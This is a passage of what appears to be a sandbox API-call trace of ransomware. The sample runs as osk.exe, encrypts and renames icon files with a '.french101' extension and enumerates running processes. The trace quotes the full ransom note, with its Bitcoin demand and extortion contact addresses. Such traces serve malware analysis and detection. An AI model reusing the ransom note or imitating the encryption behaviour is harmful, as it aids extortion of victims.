lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.959] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0285.959] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0285.961] CloseHandle (hObject=0x398) returned 1 [0285.964] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.965] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.965] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0285.965] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0285.965] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0285.965] SetEndOfFile (hFile=0x398) returned 1 [0285.967] CloseHandle (hObject=0x398) returned 1 [0285.968] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0285.968] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0285.968] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0285.968] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0286.107] CloseHandle (hObject=0x398) returned 1 [0286.107] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate7.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate7.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\N0q3h2Dvx=iDVP0SostCs5KpOCUId4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\n0q3h2dvx=idvp0sostcs5kpocuid4.french101")) returned 1 [0286.108] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\N0q3h2Dvx=iDVP0SostCs5KpOCUId4.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\n0q3h2dvx=idvp0sostcs5kpocuid4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0286.108] CloseHandle (hObject=0x398) returned 1 [0286.109] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\N0q3h2Dvx=iDVP0SostCs5KpOCUId4.french101", dwFileAttributes=0x80) returned 1 [0286.109] CloseHandle (hObject=0x398) returned 0 [0286.109] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0286.109] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0286.109] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0286.109] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0286.109] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0286.110] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0286.110] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0286.110] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0286.110] CloseHandle (hObject=0x398) returned 1 [0286.110] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0286.110] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0286.110] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0286.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0286.111] CharLowerBuffW (in: lpsz="Rotate8.ico", cchLength=0xb | out: lpsz="rotate8.ico") returned 0xb [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8è\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0286.111] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0286.111] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0286.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0286.111] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0286.111] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0286.111] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0286.112] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0286.112] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico", dwFileAttributes=0x20) returned 1 [0286.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate8.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate8.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0286.113] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0286.113] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0286.113] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0286.113] SetFilePointer (in: hFile=0x398, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0286.113] WriteFile (hFile=0x398, lpBuffer=0x3f31cc8, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0) Thread: id = 45 os_tid = 0xfd4 Thread: id = 59 os_tid = 0x714 Thread: id = 60 os_tid = 0xa8c Thread: id = 62 os_tid = 0x840 Thread: id = 63 os_tid = 0x8ac Thread: id = 65 os_tid = 0xf74 [0250.787] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0250.787] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0250.787] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.788] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0250.788] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0250.788] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0250.788] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.788] GlobalReAlloc (hMem=0x3f4000c, dwBytes=0x2e0, uFlags=0x2) returned 0x3f4000c [0250.788] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0250.788] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0250.788] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.788] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0250.788] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.788] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x436fd10, nSize=0x20a | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe")) returned 0x27 [0250.788] CharLowerBuffW (in: lpsz="osk.exe", cchLength=0x7 | out: lpsz="osk.exe") returned 0x7 [0250.788] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osk.exe", cchWideChar=7, lpMultiByteStr=0x436ef18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osk.exe", lpUsedDefaultChar=0x0) returned 7 [0250.789] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0250.789] GetProcAddress (hModule=0x75e90000, lpProcName="CreateToolhelp32Snapshot") returned 0x75ededc0 [0250.789] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32ListFirst") returned 0x75edf1a0 [0250.789] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32ListNext") returned 0x75edf250 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32First") returned 0x75edf2f0 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Heap32Next") returned 0x75edf510 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Toolhelp32ReadProcessMemory") returned 0x75ea8830 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Process32First") returned 0x75edf810 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Process32Next") returned 0x75edf9a0 [0250.790] GetProcAddress (hModule=0x75e90000, lpProcName="Process32FirstW") returned 0x75edf750 [0250.792] GetProcAddress (hModule=0x75e90000, lpProcName="Process32NextW") returned 0x75edf8f0 [0250.792] GetProcAddress (hModule=0x75e90000, lpProcName="Thread32First") returned 0x75edfa80 [0250.792] GetProcAddress (hModule=0x75e90000, lpProcName="Thread32Next") returned 0x75edfb30 [0250.792] GetProcAddress (hModule=0x75e90000, lpProcName="Module32First") returned 0x75edfc90 [0250.794] GetProcAddress (hModule=0x75e90000, lpProcName="Module32Next") returned 0x75edfe30 [0250.794] GetProcAddress (hModule=0x75e90000, lpProcName="Module32FirstW") returned 0x75edfbd0 [0250.794] GetProcAddress (hModule=0x75e90000, lpProcName="Module32NextW") returned 0x75edfd80 [0250.794] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x35c [0250.800] Process32First (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0250.801] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0250.802] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0250.803] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.804] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0250.805] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0250.806] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0250.807] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0250.808] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0250.809] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.810] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.811] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0250.812] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.813] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0250.833] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.834] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.835] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.835] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.861] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.863] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.959] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.960] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.961] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.962] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0250.963] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.964] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.965] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0250.966] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0250.967] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0250.969] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0250.970] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0250.971] Process32Next (in: hSnapshot=0x35c, lppe=0x436fdeb | out: lppe=0x436fdeb*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x55c, 